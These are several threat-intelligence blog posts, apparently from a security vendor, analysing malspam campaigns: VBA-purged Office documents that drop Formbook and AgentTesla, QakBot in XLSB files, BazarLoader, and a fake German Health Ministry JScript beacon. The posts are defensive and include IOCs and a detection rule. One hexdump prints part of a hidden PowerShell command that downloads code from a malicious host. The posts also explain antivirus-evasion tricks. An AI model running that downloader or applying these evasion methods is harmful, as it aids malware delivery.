VBA Purging Malspam Campaigns

VBA Purging Malspam Campaigns


VBA purging is a recent office macro detection evasion technique. It removes the VBA macro PerformanceCache from malicious documents. While the VBA macro source code is only stored in compressed form in Office documents, this PerformanceCache caches the decompressed VBA source code in uncompressed plain text form. Because many security scanning solutions rely on this uncompressed plain text VBA macro source code to be present in order to detect malicious VBA macro code, their detection can be evaded by VBA purging.

This article details a recent spam campaign with malicious office attachments using VBA purging, how the detection evasion works and how Hornetsecurity protects against VBA purging. Evaluating the data of the observed campaign indicates that the campaign was not targeted towards a specific geographic region nor a specific industry sector.


Recently, Hornetsecurity has observed malspam delivering Formbook1 and AgentTesla2 via malicious office attachments using VBA purging.

VBA purging is a technique first described by Didier Stevens3. VBA macros are stored in module streams4 of CFBF5 files. A stream storing VBA code has two parts, the PerformanceCache and CompressedSourceCode:

Module stream specification

The CompressedSourceCode contains the VBA code in compressed form. While not specified in the official documentation, the PerformanceCache generally contains the VBA code in compiled form (P-code) and the uncompressed plain text VBA code.

VBA purging deletes the PerformanceCache by setting its size to 0. Then the VBA code will only be present in compressed form. Because many detection tools rely on the uncompressed plain text VBA code copy in the PerformanceCache, their detection can be evaded. One detection tool affected is ClamAV a popular open source anti-virus scanner often used on email gateways.

This is interesting for multiple reasons. First, Formbook and AgentTesla are very common malware that can be obtained and operated easily. For example, in 2017 Formbook could be rented for US$ 29 per week, US$ 59 per month, or US$ 99 for three months and US$ 299 for buying it6, while AgentTesla is spread so far that tutorial videos for it exist on YouTube.

AgentTesla YouTube tutorial

This low barrier of entry means that this type of malware is usually send via less sophisticated methods, such as ZIP’ing malware executable and attaching it directly to spam emails, or using publicly available exploits for old vulnerabilities (CVE-2017-0199, CVE-2017-8570, CVE-2017-8759, CVE-2018-8174). In case malicious VBA macros are used the code is usually not very advanced and technically far away from the skill level needed for VBA purging.

However, since September 2020 Hornetsecurity has observed multiple Formbook and AgentTesla malspam campaigns using VBA purging. While the observed malspam is similar to a previous VBA purging campaign observed in the wild by Didier Stevens7 the hereafter reported malicious documents are not in the OOXML format and can, hence, not have been created by EPPlus. The hereafter reported documents have the OLE/CFB format.

Technical Analysis

In September we identified malicious documents using similar VBA code as described in the VBA purging article by Didier Stevens7. The main similarity being the call to a Loader sub routine with an either Hex or Base64 encoded string containing the download URL:

Loader"68 74 74 70 ..."

However, the main difference is that the herein observed malicious documents are not in the OOXML format as the documents outlined by Didier Stevens.

In the following technical analysis we analyze one malspam activity we think originates from the same threat actor that Didier Stevens called Epic Manchego. The following time histogram shows the volume and attachment filenames of the observed activity for the last couple of days:

Timeline of different VBA purging attachments used in the on going campaign


Looking at the targeted recipients by country does not indicate a specific bias towards a specific geographic region:

Timeline of recipients by country targeted in the VBA purging campaing

Looking at the targeted recipients by industry does not indicate a specific bias towards a specific industry:

Timeline of recipients by industry targeted in the VBA purging campaing

The emails are send from (we assume) compromised legitimate company email domains. Each wave of attachments is send from one email address. But also the companies behind the sending email domains have no clear bias towards a specific industry. We observed senders from the following industries:

Timeline of senders by industry sending the VBA purging campaing

VBA macro code

The core of the malicious documents is a PowerShell downloader that downloads a malware executable. While in the beginning, the threat actor continued to use the Loader sub routine:

VBA code of VBA purged malicious document variant 1

A deobfuscated version of the above VBA code is as follows:

Deobfuscated VBA code of VBA purged malicious document variant 1

In later variants the actor also mangled the name of the Loader sub routine:

VBA code of VBA purged malicious document variant 2

But deobfuscated the VBA code is still virtually the same:

Deobfuscated VBA code of VBA purged malicious document variant 2

Some of the Excel documents place the Base64 encoded strings into a cell of the spreadsheet and extract it from within the VBA code:

VBA code of VBA purged malicious document variant 3

To hide the cell content from a user opening the document the A cell’s width is set to 0 pixels and the font color is set to white:

Deobfuscated VBA code of VBA purged malicious document variant 3

VBA purging

As outlined earlier, VBA purging is when the PerfomanceCache of a VBA macro document is deleted. You can use Didier Stevens’ oledump.py tool to analyze the size of the streams, including the size of the PerfomanceCache. In the following, we see highlighted in red that the PerfomanceCache size of the VBA macro module streams is 0, meaning the PerfomanceCache was purged:

Using oledump to detect VBA purging

We currently do not know how these documents were created. The VBA purging documents outlined in the article by Didier Stevens7 were allegedly created with EPPlus. However, EPPlus can only create documents in the OOXML format.

In one of the maldocs we found a reference to Aviary for Android 4.8.4, a photo editing app for Android. It could be possible that these documents were generated or converted by an Android app which performs VBA purging. Here it is important to note that VBA purging in itself is not malicious. It saves disk storage by deleting a cache, which can be recreated from the CompressedSourceCode data. So there likely exist office software that performs VBA purging as part of optimizing office document file sizes.

Why is this dangerous?

Many email gateways use ClamAV as anti-virus scanner. When ClamAV scans an office document, it extracts the individual sub-files of the document. It does so for both modern OOXML documents (which are basically ZIP files) and OLE/CFB documents (which also feature a file system structure inside5). In this process it also extracts the module stream files we mentioned earlier.

It then searches the extracted files using byte patterns, e.g., to detect a malicious Emotet document variant they use the following signature:


For better understanding we convert the search patterns into a more readable YARA rule:

rule Doc_Malware_Emotet_9769220_0 {
        $a0 = "Attribute VB_Name = \"A1y9zgs7hfy5z"
        $a1 = "Document_open"
        $a2 = "V_871xt2noejh.M33sq7cmhet"
        $a0 and $a1 and $a2

From this we see that the rule matches on plain text VBA code (the attribute VB_Name that is automatically added by Office at the beginning of the macro, the sub routing name Document_open that instructs office to run this sub routine when the document is opened and a code snipped using two obfuscated variables V_871xt2noejh and M33sq7cmhet).

In a VBA purged document there (highly likely) is no Attribute VB_Name string (nor any of the other strings) in plain text, because only the CompressedSourceCode using a proprietary compression is available. Compression algorithms work by storing repeating patterns in a data stream more efficiently, e.g., the following attributes at the start of VBA code all contain repeating patterns:

Attribute VB_Name = "Lhc713a6y33gome"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False

So in compressed form Attribute would only be stored in plain text form once and all further occurrences of it are replaced with a shorter reference, so the previous VBA code snippet would turn into something like:

0001b0d0  41 74 74 72 69 62 75 74  00 65 20 56 42 5f 4e 61  |Attribut.e VB_Na|
0001b0e0  6d 00 65 20 3d 20 22 4c  68 63 00 37 31 33 61 36  |m.e = "Lhc.713a6|
0001b0f0  79 33 33 80 67 6f 6d 65  22 0d 0a 0a 98 08 42 61  |y33.gome".....Ba|
0001b100  73 02 98 31 4e 6f 72 00  6d 61 6c 2e 54 68 69 73  |s..1Nor.mal.This|
0001b110  00 44 6f 63 75 6d 65 6e  74 81 0d 56 47 6c 6f 62  |.Document..VGlob|
0001b120  61 6c 01 b0 10 53 70 61  63 01 6c 46 61 6c 04 73  |al...Spac.lFal.s|
0001b130  65 0c a2 43 72 65 61 74  08 61 62 6c 15 1f 50 72  |e..Creat.abl..Pr|

Hence any rule matching on Attribute (or any other string) would not match anymore as the string is split up, in this example, into Attribut, e VB_Nam, etc., substrings, that are then referenced again later in the data stream in order to save storage space, as storing the reference is smaller than the original repeated string.

Hence, if the document for which the above ClamAV rule matches would have its PerformanceCache removed ClamAV would not detect it anymore. This also affects other security tools relying on plain text VBA code in the PerformanceCache for their detection of malicious content.

While VBA purging is not widely used, we predict that is only a matter of time before this technique catches on and is misused in more sophisticated attacks. This means ClamAV or similar working solutions can not provide adequate protection anymore.

Seeing which vendors likely detect these VBA purged maldocs only by hash

We used VirusTotal to estimate how much the static detection capabilities of current anti-virus solutions is affected by VBA purging. To this end, we used a document that after around 7 hours is detected by 21 of 61 listed anti-virus solutions:


To check which anti-virus solution detects this document only by its hash, we appended a single X ASCII character byte to the file:

$ sha256sum test.xls 
038e0a602ddf37976cde6f57007fcf5c3f5f235cc025637b40303db38c3b4ec2  test.xls
$ echo -n 'X' >> test.xls
$ sha256sum test.xls
1c4d151611fb2866b2b0ed9c33f9e063fa77708e2c4a725d025cee5e96c14a41  test.xls

After this change 7 of the initial 21 anti-virus solutions do not detect the document anymore:

After (only 1 byte appended)

This indicates that these solutions do not detect the VBA purged document by its malicious VBA macro code, but only by its hash. A robust detection would not get tricked by appending a single byte, especially because the document structure was not changed at all.

This drop is especially astonishing as the tested document stored the powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass ... string in plain text inside a cell of the spreadsheet. Meaning the string is stored in pain text inside the document:

$ hexdump -C RFQ-752101222GPTR7\ -\ CEYLON\ STEEL\ CORPORATION\ LIMITED.xls
00007e20  00 00 00 02 00 00 00 f7  00 00 70 6f 77 65 72 73  |..........powers|
00007e30  68 65 6c 6c 2e 65 78 65  20 2d 57 69 6e 64 6f 77  |hell.exe -Window|
00007e40  53 74 79 6c 65 20 48 69  64 64 65 6e 20 2d 45 78  |Style Hidden -Ex|
00007e50  65 63 75 74 69 6f 6e 50  6f 6c 69 63 79 20 42 79  |ecutionPolicy By|
00007e60  70 61 73 73 20 20 2d 63  6f 6d 6d 61 6e 64 20 22  |pass  -command "|
00007e70  20 26 20 7b 20 69 77 72  20 68 74 74 70 73 3a 2f  | & { iwr https:/|
00007e80  2f 61 69 6d 73 6d 6f 74  69 6f 6e 2e 63 6f 6d 2e  |/aimsmotion.com.|
00007e90  6d 79 2f 64 61 74 61 31  2f 69 6d 61 67 65 73 2f  |my/data1/images/|

Conclusion and Countermeasure

As we have seen VBA purging can evade detection by some security solutions. Many solutions seem to fallback to a hash-based detection because presumably their detection signatures rely on plain text VBA code in the PerformanceCache.

Hornetsecurity’s Advanced Threat Protection includes sophisticated VBA macro analyzers that, unlike ClamAV or other solutions, extracts the VBA macro code from the CompressedSourceCode of office documents. This way Hornetsecurity’s multi-layer approach to email attachment scanning will continue working even against VBA purged documents.


Indicators of Compromise (IOCs)


SHA1 Filename Description
016a4df3e4ac565ca0fd4d227d63e60009b3d385 RFQ-752101222GPTR7 - CEYLON STEEL CORPORATION LIMITED.xls Original VBA Purging maldoc used in VT test
eb4010a4aca2411a64db9f3554bb2476c71a1be9 test.xls Manipulate VBA Purgning maldoc used in VT test
QakBot distributed by XLSB files

QakBot distributed by XLSB files


The Hornetsecurity Security Lab has detected usage of XLM macros within XLSB documents to distributed the QakBot malware. Because both XLM macros as well as the XLSB document format being uncommon these new malicious documents have a very low static detection rate by current anti-virus solutions.


QakBot (also known as QBot, QuakBot, Pinkslipbot) has been around since 2008. It is distributed via Emotet, i.e., Emotet will download the QakBot loader onto victims that are already infected with Emotet. But it is also distributed directly via email. To this end, it uses email conversation thread hijacking in its campaigns1, i.e., it will reply to emails that it finds in its victim’s mailboxes. QakBot is known to escalate intrusions by downloading the ProLock ransomware2.

The following timeline shows recent events relating to QakBot:

QakBot event timeline

QakBot’s chain of infection is as follows:

QakBot's chain of infection

QakBot has been using XLM macros (also known as Excel 4 macros) for quiet sometime.

Technical Analysis

On 2020-10-15 at around 12:40 UTC a malspam campaign distributing QakBot using XLSB documents was observed.

XLSB is an Excel Binary Workbook file. Its main use is to make reading from and written to the file much faster and reducing the size of very large spreadsheets. However, with current computing power and storage availability the need for this binary format diminished and today they are seldom used.

Combining this with the ancient and thus also not very well detected XLM macros causes the current documents to not be recognized by any AV listed on VirusTotal:

QakBot XLSB document not detected on VirusTotal

Also common document malware analysis tools such as OLEVBA do not recognize the XLM macros in the XLSB format:

QakBot XLSB document not detected by OLEVBA

Though, support for XLM macros in XLSB files is on OLEVBA’s roadmap3.

Even the tool XLMMacroDeobfuscator (specialized on analyzing malicious XLM macros), which supports the XLSB format4, has problems with QakBot’s XLSB file:

QakBot XLSB document not detected by XLMMacroDeobfuscator

But as usual the bug in XLMMacroDeobfuscator was quickly worked on5.

The QakBot XLSB files are delivered via the classic QakBot email conversation thread hijacking1 in an attached ZIP file:

QakBot email delivering XLSB file

The ZIP file contains the XLSB document, which when opened pretends to be a encrypted by DocuSign and the user needs to “Enable Editing” and “Enable Content” to decrypt it:

QakBot XLSB document

When the user does so a Auto_Open XLM macro in the document is launched, which will download the QakBot loader:

QakBot XLM macro

The URL is a assembled via the XLM macro and pretends to download an PNG file:

QakBot loader download disguised as PNG download

In reality the PNG file is the QakBot loader executable. Hornetsecurity has previously reported on the QakBot loader and follow up malware such as ProLock ransomware2.

Conclusion and Countermeasure

Like the reemergence of the ancient and nowadays less common XLM macros used by malicious actors, the use of the uncommon XLSB documents again leads to lower detection rates by security solutions, which are mostly focused on the more common modern VBA macro malware.

However, Hornetsecurity’s fast response time to new emerging threats and zero-day malware protection provides its customers a robust shield against never-before-seen malspam campaigns and new attack types. Users of Hornetsecurity’s Spam and Malware Protection are protected against the QakBot XLSB document.


Indicators of Compromise (IOCs)


MD5 Filename
ebd0e8581800059d451ed9969502ba53 Comission_1587332740_10142020.xlsb
80fd1750532ebb8d148cd9916e621dba Comission_1587332740_10142020.zip


  • hxxp[:]//thomastongralestate[.]com/skywkc/3415201.png


  • thomastongralestate[.]com


MITRE ATT&CK Tactics and Techniques used by QakBot:

Tactic Technique
TA0001 – Initial Access T1566.001 – Spearphishing Attachment
TA0001 – Initial Access T1566.002 – Spearphishing Link
TA0002 – Execution T1027 – Obfuscated Files or Information
TA0002 – Execution T1059.005 – Visual Basic
TA0002 – Execution T1204.002 – Malicious File
TA0003 – Persistence T1053.005 – Scheduled Task
TA0003 – Persistence T1547.001 – Registry Run Keys / Startup Folder
TA0004 – Privilege Escalation T1053.005 – Scheduled Task
TA0005 – Defense Evasion T1027.002 – Software Packing
TA0005 – Defense Evasion T1055 – Process Injection
TA0005 – Defense Evasion T1055.012 – Process Hollowing
TA0005 – Defense Evasion T1497.001 – System Checks
TA0006 – Credential Access T1003 – OS Credential Dumping
TA0006 – Credential Access T1110.001 – Password Guessing
TA0006 – Credential Access T1555.003 – Credentials from Web Browsers
TA0007 – Discovery T1016 – System Network Configuration Discovery
TA0011 – Command and Control T1071.001 – Web Protocols
TA0011 – Command and Control T1090 – Proxy
TA0011 – Command and Control T1090.002 – External Proxy
BazarLoader Campaign with Fake Termination Emails

BazarLoader Campaign with Fake Termination Emails


Hornetsecurity has observed a malicious email campaign distributing the BazarLoader using termination as a lure. The campaign uses a link to Google Docs from where the BazarLoader malware executable is downloaded.


BazarLoader is a new malware loader attributed to a threat actor with a close relation to the TrickBot malware. The loader is also aptly named KEGTAP, as in device used to open a beer keg3, because it is used to “open” the network of victims for follow up malware in order to move laterally on the network and eventually deploy ransomware.

Technical Analysis

On 2020-10-13 at exactly 13:00 UTC Hornetsecurity registered the first emails of the new BazarLoader campaign:

Time histogram of BazarLoader campaign

The emails use a termination lure:

Email distributing BazarLoader

The URL in the email is a legitimate Google Doc URL:

Google Doc distributing BazarLoader

From their all links lead to the BazarLoader executable (Report10-13.exe).

When executed, BazarLoader will use OpenNIC Public DNS Servers to resolve a .bazar domain generated via domain generation algorithm (DGA). The .bazar domain is not a regular TLD but rather an alternative DNS TLD of the decentralized EmerDNS blockchain DNS system.

BazarLoader using EmerDNS

Then the BazarLoader will download and install the BazarBackdoor1. This backdoor will be used to move laterally in the victim’s network in order to take over the domain controller. Eventually the intrusion is monetized by deploying the Ryuk2 ransomware.

Conclusion and Countermeasure

Because the payload download is hosted on the legitimate Google Docs site victims are more likely to click the link in the email then they would an obscure URL they are unfamiliar with. BazarLoader’s use of the EmerDNS blockchain DNS system makes it immune to current efforts by various security vendors to disrupt the operations of TrickBot.

Hornetsecurity’s Spam and Malware Protection, already detects and quarantines the outlined threat emails.


Indicators of Compromise (IOCs)


MD5 Filename Description
9cd1f319f58c3979399c1779d5a34bc2 Report10-13.exe BazarLoader


OpenNIC Public Servers used by the analyzed BazarLoader version:

  • (53/udp)
  • (53/udp)
  • (53/udp)
  • (53/udp)
  • (53/udp)
  • (53/udp)
  • (53/udp)
  • (53/udp)


  • hxxps[:]//docs.google[.]com/document/d/e/2PACX-1vTVCHKzmdSD2wX03GTnyBToo4xvldfGqtFWZiz5bT5cTRozW4Xk5H6GER0GmscSPqnpyFtokphDl-_U/pub
Fake COVID-19 emails from fake German Federal Ministry of Health

Fake COVID-19 emails from fake German Federal Ministry of Health


On 2020-09-09 and 2020-09-23 German companies were once again targeted using fake COVID-19 emails. The emails pretended to be from the German Federal Ministry of Health and contained a malicious JScript that gathers information about the victims system and network and beacons to a C2 server awaiting further commands. The campaign has no specific industry sector as a target but does seem to specifically target companies rather then individuals.


On 2020-09-09 and 2020-09-23 German companies were targeted with emails pretending to be from the German Federal Ministry of Health.

Fake email from the German Federal Ministry of Health

The email text had no variation between malspam runs nor between individual recipients. The pretext cites new Corona health and safety rules for the workplace, which are supposedly attached to the document.

Technical Analysis

The email is send from a fake domain. Sender Bundesministerium für Gesundheit <poststelle@bundesministerium-gesundheit.com> was used on 2020-09-09. Sender Bundesministerium für Gesundheit <poststelle@bundesamtgesundheit.com> was used on 2020-09-23. The email has a ZIP file attached. The ZIP file contains a JScript file, which gathers basic information about the victims system. It sends the gathered information to its C2 server and waits for further commands.


The JScript is obfuscated. For example, the C2 URL to which the script connects is constructed by selecting specific characters from a lorem ipsum text and dynamically constructing individual letters.

JScript URL obfuscation

Similar techniques are used throughout the script. This is most likely done to avoid detection via static signatures.

Then the script gathers information about the victim, such as:

  • system UUID (via WMI Win32_ComputerSystemProduct)
  • external IP (via http://ipinfo.io/ip)
  • country (via http://ipinfo.io/country)
  • OS (via WMI Win32_OperatingSystem)
  • user (Computername/Username)
  • role (user or admin)
  • antivirus (via WMI AntivirusProduct)
  • CPU (via WMI Win32_Processor)
  • GPU (via WMI Win32_VideoController)
  • RAM
  • disk space (via WMI Win32_LogicalDisk)
  • number of computers on the victims domain (via net view)

The relevant JScript code where this information is obtained is as follows:

JScript collecting information

The JScript also downloads additional Javascript code from Github.

JScript download additional code from Github

This code provides a global JSON object with a parse function for JSON encoding (JSON.stringify) and JSON decoding (JSON.parse). It is used to encode the collected information into a JSON string.

JScript JSON.stringify

The JSON string is then send via a HTTP POST request to the C2 URL.

Wireshark capture of C2 communication

POST content

The above POST request is send every 11 seconds.

JScript beacon loop

The response is a JSON string, which in the "content" entry of each task object contained in the returned tasks array contain commands which are executed by the JScript.

JScript JSON.parse and command execution

The attackers likely use the obtained system and network information to decide whether or not they want to proceed to fully compromise the victims machine. Depending on whether the victims network has a lot of computers or whether the victims IP is not blacklisted for email sending, different secondary malware could be deployed. During our analysis, however, we did not receive any commands from the attackers. OSINT research did also not provide enough information to tie this malspam campaign to a known threat actor.

While GDATA has reported on the malspam run on 2020-09-091 their findings with regard to a threat actor were also inconclusive. However, they state that the follow up malware was a combination of Buer loader2 and NuclearBot, aka TinyNuke3.


The pretext of Corona health and safety rules for the workplace indicates the campaign is targeted at companies rather than individuals. While the campaign obviously targets Germany, neither the emails on 2020-09-09 nor the emails on 2020-09-23 have no clear bias towards a specific industry.

Fake German Federal Ministry of Health campaign on 2020-09-09

Fake German Federal Ministry of Health campaign on 2020-09-23

Hence the targeting is German companies without industry bias.

Conclusion and Countermeasure

This campaign is just one of many using the still ongoing COVID-19 pandemic as a lure. The pretext of Corona health and safety rules for the workplace as well as the exfiltration of the number of computers in the network domain indicate at targeting of companies specifically.

Hornetsecurity’s Spam and Malware Protection, with the highest detection rates on the market, already detects and blocks the outlined threat. Hornetsecurity’s Advanced Threat Protection extends this protection by also detecting yet unknown threats.


Indicators of Compromise (IOCs)


SHA256 Filename Description
c771290913a45fcd331410b99863faeb59ea8d7fefedebf5b914e22cc0ac419d Bund-Arbeitsschutzregel-Corona-September.zip Attachment used 2020-09-09
8e9a1693a52155ce2aa8758413e594128e3b5f3b9fb18ef2a1e4084156817443 Arbeitsschutzregel-Corona-September.pdf.js JScript used 2020-09-09
c63f1cc05b5d42414364f3dbd13686f04ef3735c2dd5eb477e914e6761582ba1 Bund-Corona-Arbeitsschutzregel-September.zip Attachment used 2020-09-23
1317bf53d943ab530ba70ba2cc6ec8cb97a04cf46012dd2c47249b5e4822a395 Corona-Arbeitsschutzregel-September.pdf.js JScript used 2020-09-23


  • hxxp[:]//doamvola[.]top/gate.php (used 2020-09-09)
  • hxxp[:]//promakerboi[.]top/gate.php (used 2020-09-23)
  • https://raw.githubusercontent.com/douglascrockford/JSON-js/master/json2.js (Non malicious)


  • doamvola[.]top (used 2020-09-09)
  • promakerboi[.]top (used 2020-09-23)